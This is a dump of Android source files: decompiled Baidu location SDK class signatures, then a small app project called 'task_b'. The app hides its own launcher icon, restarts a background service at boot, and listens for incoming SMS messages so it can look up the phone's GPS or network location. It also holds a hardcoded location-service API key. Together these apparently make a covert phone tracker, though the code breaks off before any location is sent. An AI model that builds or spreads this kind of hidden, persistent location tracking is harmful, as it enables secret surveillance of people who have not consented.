synchronized class LocationClient$1 implements android.content.ServiceConnection {
    void LocationClient$1(LocationClient);
    public void onServiceConnected(android.content.ComponentName, android.os.IBinder);
    public void onServiceDisconnected(android.content.ComponentName);
}










com/baidu/location/LocationClient$a.class


package com.baidu.location;
synchronized class LocationClient$a extends android.os.Handler {
    private void LocationClient$a(LocationClient);
    public void handleMessage(android.os.Message);
}










com/baidu/location/LocationClient$b.class


package com.baidu.location;
synchronized class LocationClient$b implements Runnable {
    private void LocationClient$b(LocationClient);
    public void run();
}










com/baidu/location/LocationClient.class


package com.baidu.location;
public final synchronized class LocationClient implements j, an {
    private static final String hi = baidu_location_Client;
    private static final String hy = key;
    private static final String hv = sign;
    private static final int hl = 1;
    private static final int hL = 2;
    private static final int hu = 3;
    private static final int hY = 4;
    private static final int hI = 5;
    private static final int hK = 6;
    private static final int hC = 7;
    private static final int hw = 8;
    private static final int hA = 9;
    private static final int hg = 10;
    private static final int hV = 11;
    private static final int hJ = 12;
    private static final int hq = 1000;
    private static final int hO = 6000;
    private long hN;
    private long ho;
    private String hX;
    private LocationClientOption hH;
    private boolean hM;
    private android.content.Context hE;
    private android.os.Messenger hF;
    private LocationClient$a hh;
    private final android.os.Messenger hD;
    private java.util.ArrayList hZ;
    private BDLocation hU;
    private boolean hz;
    private boolean hS;
    private boolean hB;
    private LocationClient$b hm;
    private boolean hf;
    private final Object hj;
    private long hG;
    private long hP;
    private u hp;
    private boolean hT;
    private BDLocationListener hx;
    private String hW;
    private String hR;
    private boolean ht;
    private Boolean hs;
    private Boolean hn;
    public static String PREF_FILE_NAME;
    public static String PREF_KEY_NAME;
    private android.content.ServiceConnection hQ;
    private long hr;
    private BDErrorReport hk;
    public void LocationClient(android.content.Context);
    public void LocationClient(android.content.Context, LocationClientOption);
    public LocationClientOption getLocOption();
    public void setLocOption(LocationClientOption);
    public boolean updateLocation(android.location.Location);
    public void requestNotifyLocation();
    public int requestOfflineLocation();
    private void bL();
    public int requestLocation();
    public int requestPoi();
    public boolean isStarted();
    public BDLocation getLastKnownLocation();
    public String getVersion();
    public void start();
    private void bI();
    public void stop();
    private void bJ();
    public void registerNotify(BDNotifyListener);
    private void i(android.os.Message);
    public void removeNotifyEvent(BDNotifyListener);
    private void m(android.os.Message);
    private void k(android.os.Message);
    private android.os.Bundle bG();
    private android.os.Bundle bF();
    public void registerNotifyLocationListener(BDLocationListener);
    private void o(android.os.Message);
    public void registerLocationListener(BDLocationListener);
    private void n(android.os.Message);
    public void unRegisterLocationListener(BDLocationListener);
    private void j(android.os.Message);
    private void bK();
    private void bM();
    private void bH();
    private void if(android.os.Message, int);
    private void l(android.os.Message);
    private void byte(int);
    public void setForBaiduMap(boolean);
    public boolean notifyError();
    public int reportErrorWithInfo(BDErrorReport);
    public void cancleError();
    private void byte(boolean);
    private boolean case(int);
    public void setAK(String);
    static void <clinit>();
}










com/baidu/location/LocationClientOption.class


package com.baidu.location;
public final synchronized class LocationClientOption {
    public static final int MIN_SCAN_SPAN = 1000;
    public static final int GpsFirst = 1;
    public static final int NetWorkFirst = 2;
    protected String try;
    protected String char;
    protected boolean case;
    protected int int;
    protected int long;
    protected String new;
    protected int goto;
    protected boolean void;
    protected boolean for;
    protected boolean else;
    protected boolean if;
    protected float do;
    protected int a;
    protected String byte;
    public void LocationClientOption();
    public void LocationClientOption(LocationClientOption);
    public boolean equals(LocationClientOption);
    public String getCoorType();
    public void setCoorType(String);
    public String getAddrType();
    public void setAddrType(String);
    public boolean isOpenGps();
    public void setOpenGps(boolean);
    public boolean isLocationNotify();
    public void setLocationNotify(boolean);
    public int getScanSpan();
    public void setScanSpan(int);
    public int getTimeOut();
    public void setTimeOut(int);
    public String getProdName();
    public void setProdName(String);
    public int getPriority();
    public void setPriority(int);
    public String getServiceName();
    public void setServiceName(String);
    public void setPoiDistance(float);
    public float getPoiDistance();
    public void setPoiNumber(int);
    public int getPoiNumber();
    public void setPoiExtraInfo(boolean);
    public boolean getPoiExtranInfo();
    public void disableCache(boolean);
    public boolean isDisableCache();
}










com/baidu/location/y$1.class


package com.baidu.location;
synchronized class y$1 {
}










com/baidu/location/y$a.class


package com.baidu.location;
synchronized class y$a implements Runnable {
    private void y$a(y);
    public void run();
}










com/baidu/location/y.class


package com.baidu.location;
synchronized class y extends z implements an, j {
    private static y dE;
    final int dD;
    final int dM;
    private boolean dJ;
    private aj dF;
    public z$a dI;
    private String dK;
    private BDLocation dH;
    private ai$b dQ;
    private n$a dN;
    private boolean dG;
    private volatile boolean dP;
    private boolean dO;
    private long dL;
    final android.os.Handler dy;
    public static y ag();
    private void y();
    public void case(android.os.Message);
    void aj();
    void af();
    private void char(android.os.Message);
    private boolean if(ai$b);
    private boolean ac();
    public boolean ai();
    private boolean if(n$a);
    private void al();
    public void ae();
    void byte(android.os.Message);
    void ab();
    void ah();
    public void for(BDLocation);
    private void ad();
    private void ak();
    static void <clinit>();
}










com/baidu/location/z$a.class


package com.baidu.location;
synchronized class z$a extends o {
    String c6;
    String c5;
    public void z$a(z);
    void V();
    void if(boolean);
    public void long(String);
}










com/baidu/location/z$b.class


package com.baidu.location;
public synchronized class z$b extends android.os.Handler {
    public void z$b(z);
    public void handleMessage(android.os.Message);
}










com/baidu/location/z.class


package com.baidu.location;
abstract synchronized class z implements an, j {
    public ai$b dC;
    public n$a dz;
    private boolean dx;
    private boolean dB;
    private boolean dA;
    public static String dw;
    final android.os.Handler dy;
    void z();
    abstract void byte(android.os.Message);
    abstract void ab();
    public String void(String);
    static void <clinit>();
}










com/baidu/location/ad$a.class


package com.baidu.location;
public synchronized class ad$a {
    public double int;
    public double try;
    public double if;
    public long new;
    public boolean for;
    public int do;
    public void ad$a(ad);
}










com/baidu/location/ad.class


package com.baidu.location;
public synchronized class ad implements j {
    private static final String io = loc_cache.dat;
    private static final double it = 121.314;
    private static final int is = 5;
    private static final String ir = ,;
    private static final String ip = ;;
    private static String[] in;
    private String[] iq;
    private static ad im;
    public void ad();
    public static ad bU();
    public void try(BDLocation);
    public ad$a bR();
    private void bS();
    private double bT();
    private double bO();
    private double bN();
    private long bP();
    private boolean bQ();
    public int bV();
}










com/baidu/location/aa$1.class


package com.baidu.location;
synchronized class aa$1 implements android.hardware.SensorEventListener {
    void aa$1(aa);
    public void onSensorChanged(android.hardware.SensorEvent);
    public void onAccuracyChanged(android.hardware.Sensor, int);
}










com/baidu/location/aa$2.class


package com.baidu.location;
synchronized class aa$2 extends java.util.TimerTask {
    void aa$2(aa);
    public void run();
}










com/baidu/location/aa.class


package com.baidu.location;
public synchronized class aa implements j, an {
    private android.hardware.SensorManager fX;
    private boolean fY;
    private int fN;
    private android.hardware.Sensor fO;
    private final long fI;
    private volatile int fR;
    private int fH;
    public static final float fV = 4.0;
    public static final float fK = 0.01;
    private static final float fU = 0.8;
    private static final int fP = 20;
    private float[] fJ;
    private float[] fQ;
    private int fS;
    private double[] fT;
    private int fW;
    private int fG;
    java.util.Timer fM;
    public android.hardware.SensorEventListener fL;
    public void aa(android.content.Context);
    private void aa(android.content.Context, int);
    public void a2();
    public void a3();
    private void a1();
    private float[] if(float, float, float);
    private double if(double[]);
    private synchronized void try(int);
    public synchronized int a0();
    public synchronized void aZ();
}










com/baidu/location/o$1.class


package com.baidu.location;
synchronized class o$1 extends Thread {
    void o$1(o);
    public void run();
}










com/baidu/location/o.class


package com.baidu.location;
abstract synchronized class o implements an, j {
    private boolean cN;
    private static int cK;
    private static String cJ;
    private static int cQ;
    public String cL;
    public int cO;
    public org.apache.http.HttpEntity cM;
    public java.util.List cP;
    void o();
    abstract void V();
    abstract void if(boolean);
    public void R();
    private void P();
    private int T();
    private static int if(android.content.Context, android.net.NetworkInfo);
    public static boolean if(android.content.Context);
    static void <clinit>();
}










com/baidu/location/ac.class


package com.baidu.location;
abstract synchronized class ac extends o implements an {
    void ac();
}










com/baidu/location/ak$a.class


package com.baidu.location;
synchronized class ak$a {
    private int int;
    private int if;
    private int do;
    private int for;
    public void ak$a(ak, int, int, int, int);
    public int a();
    public int if();
    public int do();
}










com/baidu/location/ak.class


package com.baidu.location;
synchronized class ak implements an {
    private boolean gr;
    private String gp;
    private boolean gy;
    private String gl;
    private int gs;
    private int gu;
    private String gw;
    private char go;
    private String gx;
    private boolean gt;
    private int gi;
    private double gn;
    private double gk;
    private java.util.List gj;
    private boolean gm;
    private java.util.List gq;
    private int gv;
    public int gh;
    public void ak(java.util.List, String, String, String);
    private void bl();
    private boolean j(String);
    public int bi();
    private int if(boolean, boolean, boolean, boolean, boolean);
    private double[] if(java.util.List);
    private double[] do(double, double);
    private double[] if(double, double);
    public boolean bj();
    public int bn();
    public String bm();
    public double bo();
    public double bk();
}










com/baidu/location/u$b.class


package com.baidu.location;
public synchronized class u$b extends android.content.BroadcastReceiver {
    public void u$b(u);
    public void onReceive(android.content.Context, android.content.Intent);
}










com/baidu/location/u$a.class


package com.baidu.location;
public synchronized class u$a implements BDLocationListener {
    public void u$a(u);
    public void onReceiveLocation(BDLocation);
    public void onReceivePoi(BDLocation);
}










com/baidu/location/u.class


package com.baidu.location;
public synchronized class u implements an, j {
    private java.util.ArrayList fk;
    private float fo;
    private BDLocation fl;
    private long fr;
    private LocationClient ft;
    private android.content.Context ff;
    private int fe;
    private long fm;
    private boolean fq;
    private boolean fp;
    private android.app.PendingIntent fj;
    private android.app.AlarmManager fg;
    private u$b fn;
    public static final String fi = android.com.baidu.location.TIMER.NOTIFY;
    private u$a fh;
    private boolean fs;
    public void u(android.content.Context, LocationClient);
    public void aQ();
    public int do(BDNotifyListener);
    public void if(BDNotifyListener);
    public int for(BDNotifyListener);
    private boolean aR();
    private void aP();
    private void if(long);
    private void int(BDLocation);
}










com/baidu/location/ao.class


package com.baidu.location;
synchronized class ao implements an, j {
    private static ao gW;
    private android.database.sqlite.SQLiteDatabase gX;
    private String g4;
    private String gV;
    private boolean g6;
    private boolean g2;
    private String g0;
    private int g5;
    private double g3;
    private double g1;
    private double gU;
    private long gY;
    private boolean gZ;
    public static ao bz();
    private void ao();
    public void h(android.os.Message);
    public void bB();
    public void by();
    private void g(android.os.Message);
    public BDLocation new(boolean);
    private void l(String);
    public void if(String, n$a);
    private void bA();
    private String int(boolean);
    static void <clinit>();
}










com/baidu/location/p.class


package com.baidu.location;
synchronized class p extends z implements an, j {
    private static p dS;
    static final int dT = 3000;
    private BDLocation dV;
    private long dU;
    public z$a dW;
    public static p an();
    private void p();
    public void else(android.os.Message);
    private void goto(android.os.Message);
    private void am();
    void byte(android.os.Message);
    void ab();
    static void <clinit>();
}










com/baidu/location/k.class


package com.baidu.location;
abstract interface k {
    public abstract boolean do(ai$b);
    public abstract int new(BDLocation);
    public abstract void bh();
}










com/baidu/location/aj.class


package com.baidu.location;
synchronized class aj implements k, an, j {
    private java.util.List gg;
    private long gd;
    private java.util.Queue gf;
    private android.location.Location ge;
    public void aj();
    public void bh();
    public boolean do(ai$b);
    public int new(BDLocation);
}










com/baidu/location/ag.class


package com.baidu.location;
abstract interface ag {
    public abstract ag do();
    public abstract void if();
    public abstract void a();
}










com/baidu/location/m$a.class


package com.baidu.location;
public synchronized class m$a extends android.os.Handler {
    public void m$a(m);
    public void handleMessage(android.os.Message);
}










com/baidu/location/m.class


package com.baidu.location;
synchronized class m implements an, j {
    private static m cr;
    private h cq;
    private android.os.Handler cs;
    public static m D();
    private void m();
    public void G();
    public void C();
    public void B();
    public android.os.Handler E();
    private void F();
    static void <clinit>();
}










com/baidu/location/af.class


package com.baidu.location;
synchronized class af {
    private static android.os.HandlerThread a;
    void af();
    static android.os.HandlerThread a();
    static void <clinit>();
}










com/baidu/location/ae.class


package com.baidu.location;
public final synchronized class ae {
    public void ae();
    public static Object a(Object);
    public static Object a(Object, Object);
    public static void a(boolean);
    public static void a(boolean, Object);
    public static void if(boolean, Object);
    public static void a(boolean, String, Object[]);
    public static void if(boolean);
}










com/baidu/location/c.class


package com.baidu.location;
synchronized class c implements an, j {
    public boolean bi;
    public long bf;
    private long be;
    private long bg;
    private static c bh;
    public static c char();
    private void c();
    public void else();
    public void new(String);
    public long int(String);
    static void <clinit>();
}










com/baidu/location/h$1.class


package com.baidu.location;
synchronized class h$1 extends android.os.Handler {
    void h$1(h);
    public void handleMessage(android.os.Message);
}










com/baidu/location/h$a.class


package com.baidu.location;
public synchronized class h$a extends android.content.BroadcastReceiver {
    public void h$a(h);
    public void onReceive(android.content.Context, android.content.Intent);
}










com/baidu/location/h.class


package com.baidu.location;
synchronized class h implements an, j {
    private String bM;
    private static String bB;
    private static java.io.File bI;
    private static java.io.File bE;
    private static final int bK = 800;
    private static final int bL = 24;
    private static final int bD = 200;
    private final long bt;
    private final int bx;
    private android.app.AlarmManager bu;
    private h$a bw;
    private android.app.PendingIntent bJ;
    private android.content.Context bA;
    private long bF;
    private long[] bn;
    private int bs;
    private n$a bG;
    public static final String br = com.baidu.locTest.LocationServer;
    private String bC;
    private int bv;
    private boolean bp;
    private boolean bo;
    private boolean bz;
    private String bH;
    private android.os.Handler by;
    private final int bq;
    public void h(android.content.Context);
    public void q();
    public void m();
    public void n();
    public void o();
    public void h();
    public void i();
    public void s();
    public void p();
    public void r();
    public static void j();
    public static String l();
    public boolean k();
    static void <clinit>();
}










com/baidu/location/l$a.class


package com.baidu.location;
synchronized class l$a extends o {
    boolean cS;
    int cU;
    private java.util.ArrayList cT;
    public void l$a(l);
    void V();
    void if(boolean);
    public void W();
}










com/baidu/location/l.class


package com.baidu.location;
synchronized class l implements an, j {
    private static java.util.ArrayList b6;
    private static java.util.ArrayList bY;
    private static java.util.ArrayList cc;
    private static java.util.ArrayList cn;
    private static java.util.ArrayList b8;
    private static java.util.ArrayList ch;
    private static String cp;
    private static final String ck;
    private static final String cj;
    private static final String b9;
    private static final String cf;
    private static final int bO = 2048;
    private static final int bP = 2048;
    private static final int ci = 2048;
    private static final int b2 = 1040;
    private static final int b4 = 32;
    private static final int bX = 128;
    private static java.io.File bW;
    private static int bU;
    private static int cm;
    private static int bT;
    private static int b7;
    private static int b0;
    private static int bS;
    private static int ce;
    private static int ca;
    private static double bR;
    private static double cd;
    private static double bZ;
    private static double bQ;
    private static int b1;
    private static int bV;
    private static int cl;
    private static android.location.Location b3;
    private static android.location.Location cg;
    private static android.location.Location bN;
    private static ai$b b5;
    private l$a cb;
    private static l co;
    public static l u();
    private void l();
    public static String w();
    public static void if(n$a, ai$b, android.location.Location, String);
    public static void if(double, double, double, double);
    public static boolean if(android.location.Location, boolean);
    private static boolean if(android.location.Location);
    private static boolean if(android.location.Location, ai$b);
    public void z();
    private static void else(String);
    private static void char(String);
    private static void goto(String);
    private static int if(java.util.List, int);
    private static boolean if(int, int, int, int, long);
    public static void byte(String);
    public static void case(String);
    public static void if(int, boolean);
    public static boolean if(String, java.util.List);
    public static String y();
    public static void t();
    public static String if(int);
    public static String v();
    public static void if(String, int);
    public static void if(String, int, boolean);
    public static void if(int, int);
    public static void if(int, int, boolean);
    public static void x();
    public static void A();
    static void <clinit>();
}










com/baidu/location/am.class


package com.baidu.location;
abstract interface am {
    public abstract void if();
    public abstract void a();
}










com/baidu/location/b.class


package com.baidu.location;
synchronized class b implements an, j {
    public static boolean aV;
    public static boolean ai;
    public static boolean ae;
    public static int ah;
    private static String aG;
    public static String W;
    private static String aT;
    public static final boolean aA = 1;
    private static boolean av;
    private static boolean ax;
    private static String aE;
    private static Process aI;
    public static String ar;
    public static String a3;
    public static boolean aY;
    public static int aF;
    public static double a0;
    public static double aj;
    public static double aB;
    public static double aa;
    public static int ag;
    public static byte[] aw;
    public static boolean am;
    public static int af;
    public static float ab;
    public static float aK;
    public static float ad;
    public static float aM;
    public static int aC;
    public static int U;
    public static int aD;
    public static int V;
    public static int Y;
    public static int as;
    public static int aW;
    public static float a5;
    public static float a2;
    public static float ak;
    public static float aS;
    public static int aQ;
    public static float Z;
    public static int ao;
    public static float aN;
    public static float a4;
    public static float a1;
    public static int aZ;
    public static int aX;
    public static boolean au;
    public static boolean aR;
    public static int aq;
    public static int an;
    public static int at;
    public static long aJ;
    public static long aL;
    public static long ay;
    public static int aO;
    public static int aP;
    public static int aH;
    public static float aU;
    public static float ac;
    public static float X;
    public static int al;
    public static int az;
    public static int ap;
    void b();
    static int do(String, String, String);
    static float if(String, String, String);
    static double for(String, String, String);
    static String if(String, String, String, double);
    static String if();
    static String for();
    public static String if(n$a, ai$b, android.location.Location, String, int);
    public static void new();
    public static void try();
    public static void if(String, String);
    public static void do(String, String);
    public static void if(String);
    public static boolean if(BDLocation);
    public static void do(String);
    public static String int();
    public static String do();
    static void <clinit>();
}










com/baidu/location/j.class


package com.baidu.location;
abstract interface j extends a, w {
    public static final float int = 4.0;
    public static final String for = 4.0;
}










com/baidu/location/ai$1.class


package com.baidu.location;
synchronized class ai$1 {
}










com/baidu/location/ai$b.class


package com.baidu.location;
public synchronized class ai$b {
    public java.util.List for;
    private long if;
    private long int;
    private boolean do;
    public void ai$b(ai, ai$b);
    public void ai$b(ai, java.util.List, long);
    public String int();
    public int try();
    public String char();
    public String byte();
    public String a(int);
    public String else();
    private void a();
    public String if(int);
    public boolean if(ai$b);
    public boolean do(ai$b);
    public boolean a(ai$b);
    public boolean a(ai$b, ai$b, float);
    public int do();
    public boolean case();
    public boolean for();
    public boolean new();
    public boolean if();
}










com/baidu/location/ai$a.class


package com.baidu.location;
synchronized class ai$a extends android.content.BroadcastReceiver {
    private void ai$a(ai);
    public void onReceive(android.content.Context, android.content.Intent);
}










com/baidu/location/ai.class


package com.baidu.location;
synchronized class ai implements an, j {
    private static final int f0 = 15;
    private final long fZ;
    private final long f4;
    private final long f6;
    private static ai f8;
    private android.net.wifi.WifiManager f7;
    private ai$a gc;
    private ai$b f2;
    private long f5;
    private long gb;
    private boolean ga;
    private Object f3;
    private reflect.Method f9;
    private boolean f1;
    public static ai bb();
    private void ai();
    public void a9();
    public void bg();
    public boolean a4();
    public boolean a8();
    public boolean bc();
    public static boolean bf();
    public String bd();
    public ai$b a7();
    public ai$b ba();
    public ai$b be();
    private void a6();
    public boolean a5();
    static void <clinit>();
}










com/baidu/location/d$1.class


package com.baidu.location;
synchronized class d$1 {
}










com/baidu/location/d$a.class


package com.baidu.location;
synchronized class d$a extends android.content.BroadcastReceiver {
    private void d$a(d);
    public void onReceive(android.content.Context, android.content.Intent);
}










com/baidu/location/d$b.class


package com.baidu.location;
synchronized class d$b implements Runnable {
    private void d$b(d);
    public void run();
}










com/baidu/location/d.class


package com.baidu.location;
synchronized class d implements am {
    private static d a;
    private d$a try;
    private boolean int;
    private boolean for;
    private boolean new;
    private boolean if;
    final android.os.Handler do;
    public static d new();
    private void d();
    public void do();
    public void int();
    public void for();
    private void try();
    public void if();
    public void a();
    static void <clinit>();
}










com/baidu/location/b/b/a.class


package com.baidu.location.b.b;
public final synchronized class a {
    private static final String if = AES/CBC/PKCS5Padding;
    private static final String a = AES;
    private void a();
    public static byte[] if(String, String, byte[]) throws Exception;
    public static byte[] a(String, String, byte[]) throws Exception;
}










com/baidu/location/b/b/b.class


package com.baidu.location.b.b;
public final synchronized class b {
    private static final byte[] a;
    private void b();
    public static byte[] a(byte[]);
    public static byte[] a(byte[], int);
    public static String a(byte[], String) throws java.io.UnsupportedEncodingException;
    static void <clinit>();
}
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package com.baidu.location.b.a;
public synchronized class a {
    private static final boolean a = 0;
    private static final String if;
    public void a();
    public static String if(android.content.Context);
    private static String a(android.content.Context);
    static void <clinit>();
}
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package com.baidu.location.b.a;
final synchronized class b$a {
    private static final String do = bd_setting_i;
    public final String if;
    public final boolean a;
    private void b$a(String, boolean);
    private static String a(android.content.Context, String);
    static b$a a(android.content.Context);
}
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package com.baidu.location.b.a;
public final synchronized class b {
    private static final String do = DeviceId;
    private static final boolean a = 0;
    private static final String int = com.baidu.deviceid;
    private static final String for = 30212102dicudiab;
    private static final String if = baidu/.cuid;
    private void b();
    public static String a(android.content.Context);
    public static String do(android.content.Context);
    public static String if(android.content.Context);
    private static void a(android.content.Context, String);
    private static String a(String);
    private static void a(String, String);
}
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package com.baidu.location.b.a;
public final synchronized class c {
    private void c();
    public static String a(byte[], boolean);
    public static String a(byte[], String, boolean);
}
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package com.baidu.location.a;
public synchronized class a {
    public static final String else = geofence;
    public static final String if = _id;
    public static final String do = geofence_id;
    public static final String case = longitude;
    public static final String for = latitude;
    public static final String try = radius_type;
    public static final String char = radius;
    public static final String a = valid_date;
    public static final String void = duration_millis;
    public static final String new = next_active_time;
    public static final String int = coord_type;
    public static final String byte = is_lac;
    public static final String long = is_cell;
    public static final String goto = is_wifi;
    public void a();
}
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package com.baidu.location.a;
public synchronized class b {
    public static final String a = geofence_detail;
    public static final String if = _id;
    public static final String new = geofence_id;
    public static final String for = ap;
    public static final String int = ap_backup;
    public static final String do = ap_index;
    public void b();
}










META-INF/MANIFEST.MF


Manifest-Version: 1.0
Created-By: 1.6.0_22 (Sun Microsystems Inc.)
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task_b/src/com/example/task_b/BootReceiver.java

package com.example.task_b;





import java.util.List;





import android.app.ActivityManager;


import android.content.BroadcastReceiver;


import android.content.Context;


import android.content.Intent;


import android.util.Log;





public class BootReceiver extends BroadcastReceiver {





    @Override


    public void onReceive(Context context, Intent arg1) {


        // TODO Auto-generated method stub


        


        boolean isRun = isServiceRun(context, "example.android_task_b.receiver");


        Log.i("phone", "server_"+isRun);


        if(!isRun){


            Intent intent=new Intent(context,SmSserver.class);


            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);


            context.startService(intent);


        }


    }





    public static boolean isServiceRun(Context mContext, String className) {


        boolean isRun = false;


        ActivityManager activityManager = (ActivityManager) mContext


                .getSystemService(Context.ACTIVITY_SERVICE);


        List<ActivityManager.RunningServiceInfo> serviceList = activityManager


                .getRunningServices(40);


        int size = serviceList.size();


        for (int i = 0; i < size; i++) {


            if (serviceList.get(i).service.getClassName().equals(className) == true) {


                isRun = true;


                break;


            }


        }


        return isRun;


    }





}
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task_b/gen/com/example/task_b/BuildConfig.java

/** Automatically generated file. DO NOT MODIFY */


package com.example.task_b;





public final class BuildConfig {


    public final static boolean DEBUG = true;


}
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task_b/src/com/example/task_b/MainActivity.java

package com.example.task_b;








import android.net.Uri;


import android.os.Bundle;


import android.os.Handler;


import android.app.Activity;


import android.content.BroadcastReceiver;


import android.content.ContentValues;


import android.content.Context;


import android.content.Intent;


import android.content.IntentFilter;


import android.content.SharedPreferences;


import android.content.SharedPreferences.Editor;


import android.content.pm.PackageManager;


import android.database.ContentObserver;


import android.database.Cursor;


import android.view.Window;





public class MainActivity extends Activity {


    public static String TAG = "LocTestDemo";





    private BroadcastReceiver broadcastReceiver;


    public static String LOCATION_BCR = "location_bcr";


    @Override


    protected void onCreate(Bundle savedInstanceState) {


        super.onCreate(savedInstanceState);


        super.requestWindowFeature(Window.FEATURE_NO_TITLE);


        setContentView(R.layout.activity_main);


        //registerBroadCastReceiver();


        //registerBroadCastReceiver();


    PackageManager pm=this.getPackageManager();


    pm.setComponentEnabledSetting(this.getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);


    Intent intent=new Intent(this,SmSserver.class);


    this.startService(intent);


    this.finish();


    }


    


}
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task_b/src/com/example/task_b/MyApplication.java

package com.example.task_b;





import android.app.Application;


import android.content.Context;


import android.content.Intent;


import android.content.SharedPreferences;


import android.content.SharedPreferences.Editor;


import android.os.Process;


import android.util.Log;





import com.baidu.location.BDLocation;


import com.baidu.location.BDLocationListener;


import com.baidu.location.GeofenceClient;


import com.baidu.location.LocationClient;


import com.baidu.location.LocationClientOption;











public class MyApplication extends Application


{


    public LocationClient mLocationClient = null;


    public GeofenceClient mGeofenceClient;


    public MyLocationListenner myListener = new MyLocationListenner();


    public static String TAG = "MyApplication";


    


    private static MyApplication mInstance = null;





    @Override


    public void onCreate()


    {


        mInstance = this;


        


        mLocationClient = new LocationClient(this);


        mLocationClient.setAK("0zY5wx1STQSzyaNv4Tvr7z0R");


        mLocationClient.registerLocationListener(myListener);


        mGeofenceClient = new GeofenceClient(this);





        super.onCreate();


        Log.d(TAG, "... Application onCreate... pid=" + Process.myPid());


    }


    


    public static MyApplication getInstance()


    {


        return mInstance;


    }








    public void stopLocationClient()


    {


        if (mLocationClient != null && mLocationClient.isStarted())


        {


            mLocationClient.stop();


        } 


    }





    


    public void requestLocationInfo()


    {


        setLocationOption();


        


        if (mLocationClient != null && !mLocationClient.isStarted())


        {


            mLocationClient.start();


        }





        if (mLocationClient != null && mLocationClient.isStarted())


        {


            mLocationClient.requestLocation();


        } 


    }


    


    private void setLocationOption()


    {


        LocationClientOption option = new LocationClientOption();


        option.setOpenGps(true); 


        option.setCoorType("bd09ll"); 


        option.setServiceName("com.baidu.location.service_v2.9");


        option.setPoiExtraInfo(true);


        option.setAddrType("all");


        option.setPoiNumber(10);


        option.disableCache(true);


        mLocationClient.setLocOption(option);


    }





    public class MyLocationListenner implements BDLocationListener


    {


        @Override


        public void onReceiveLocation(BDLocation location)


        {


            if (location == null)


            {


                sendBroadCast("failed!");


                return;


            }


            sendBroadCast(location.getAddrStr());


        }





        public void onReceivePoi(BDLocation poiLocation)


        {


            if (poiLocation == null)


            {


                sendBroadCast("failed!");


                return;


            }


            sendBroadCast(poiLocation.getAddrStr());


        }


        


    }





    public void sendBroadCast(String address)


    {


        stopLocationClient();


        SharedPreferences perferences = getSharedPreferences("tiao", Context.MODE_PRIVATE);     


        Editor edit = perferences.edit();//èŽ·åŸ—çŒ–èŸ‘å™?  


        edit.putString("tt", address);


        edit.commit();//æ��äº€å†…å®¹ 


        Log.v("ss", address);


    


    


    }


}
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/* AUTO-GENERATED FILE.  DO NOT MODIFY.


 *


 * This class was automatically generated by the


 * aapt tool from the resource data it found.  It


 * should not be modified by hand.


 */





package com.example.task_b;





public final class R {


    public static final class attr {


    }


    public static final class dimen {


        /**  Default screen margins, per the Android Design guidelines. 





         Customize dimensions originally defined in res/values/dimens.xml (such as


         screen margins) for sw720dp devices (e.g. 10" tablets) in landscape here.


    


         */


        public static final int activity_horizontal_margin=0x7f040000;


        public static final int activity_vertical_margin=0x7f040001;


    }


    public static final class drawable {


        public static final int ic_launcher=0x7f020000;


        public static final int icon=0x7f020001;


    }


    public static final class id {


        public static final int action_settings=0x7f080000;


    }


    public static final class layout {


        public static final int activity_main=0x7f030000;


    }


    public static final class menu {


        public static final int main=0x7f070000;


    }


    public static final class string {


        public static final int action_settings=0x7f050001;


        public static final int app_name=0x7f050000;


        public static final int hello_world=0x7f050002;


    }


    public static final class style {


        /** 


        Base application theme, dependent on API level. This theme is replaced


        by AppBaseTheme from res/values-vXX/styles.xml on newer devices.


    





            Theme customizations available in newer API levels can go in


            res/values-vXX/styles.xml, while customizations related to


            backward-compatibility can go here.


        





        Base application theme for API 11+. This theme completely replaces


        AppBaseTheme from res/values/styles.xml on API 11+ devices.


    


 API 11 theme customizations can go here. 





        Base application theme for API 14+. This theme completely replaces


        AppBaseTheme from BOTH res/values/styles.xml and


        res/values-v11/styles.xml on API 14+ devices.


    


 API 14 theme customizations can go here. 


         */


        public static final int AppBaseTheme=0x7f060000;


        /**  Application theme. 


 All customizations that are NOT specific to a particular API-level can go here. 


         */


        public static final int AppTheme=0x7f060001;


    }


}
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package com.example.task_b;





import java.sql.Date;


import java.text.SimpleDateFormat;





import android.app.PendingIntent;


import android.content.BroadcastReceiver;


import android.content.ContentValues;


import android.content.Context;


import android.content.Intent;


import android.content.SharedPreferences;


import android.database.ContentObserver;


import android.database.Cursor;


import android.location.Location;


import android.location.LocationListener;


import android.location.LocationManager;


import android.net.Uri;


import android.os.Bundle;


import android.os.Handler;


import android.telephony.SmsManager;


import android.telephony.SmsMessage;


import android.util.Log;


public class receiver extends BroadcastReceiver {


    private String action="android.provider.Telephony.SMS_RECEIVED";


    private Context ct=null;


    private static String gpsstr=null;//GPS信息


    public static String TAG = "LocTestDemo";


    private BroadcastReceiver broadcastReceiver;


    public static String LOCATION_BCR = "location_bcr";


    





    LocationManager locationManager=null;








public boolean getlocation(){


    SharedPreferences p = ct.getSharedPreferences("tiao", Context.MODE_PRIVATE);


    gpsstr=p.getString("tt","");


    Log.v("ss", gpsstr);


    if(!gpsstr.equals("")){


        return true;


    }else{ 


        return false;


    }


}


public void getLt()


{


    double latitude=0.0;  


    double longitude =0.0;  


    LocationManager locationManager = (LocationManager)ct.getSystemService(Context.LOCATION_SERVICE);  


    if(locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)){  


        Location location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);  


        if(location != null){  


            latitude = location.getLatitude();  


            longitude = location.getLongitude();  


            gpsstr=location.getLatitude()+","+location.getLongitude();


            }  


    }else{  


        LocationListener locationListener = new LocationListener() {  


              


            // Provider的状态在可用、暂时不可用和无服务三个状态直接切换时触发此函数  


            @Override  


            public void onStatusChanged(String provider, int status, Bundle extras) {  


                  


            }  


              


            // Provider被enable时触发此函数，比如GPS被打开  


            @Override  


            public void onProviderEnabled(String provider) {  


                  


            }  


              


            // Provider被disable时触发此函数，比如GPS被关闭   


            @Override  


            public void onProviderDisabled(String provider) {  


                  


            }  


              


            //当坐标改变时触发此函数，如果Provider传进相同的坐标，它就不会被触发   


            @Override  


            public void onLocationChanged(Location location) {  


                if (location != null) {     


                    Log.e("Map", "Location changed : Lat: "    


                    + location.getLatitude() + " Lng: "    


                    + location.getLongitude());     


                    gpsstr=location.getLatitude()+","+location.getLongitude();


                }  


            }  


        };  


        locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,1000, 0,locationListener);     


        Location location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);     


        if(location != null){     


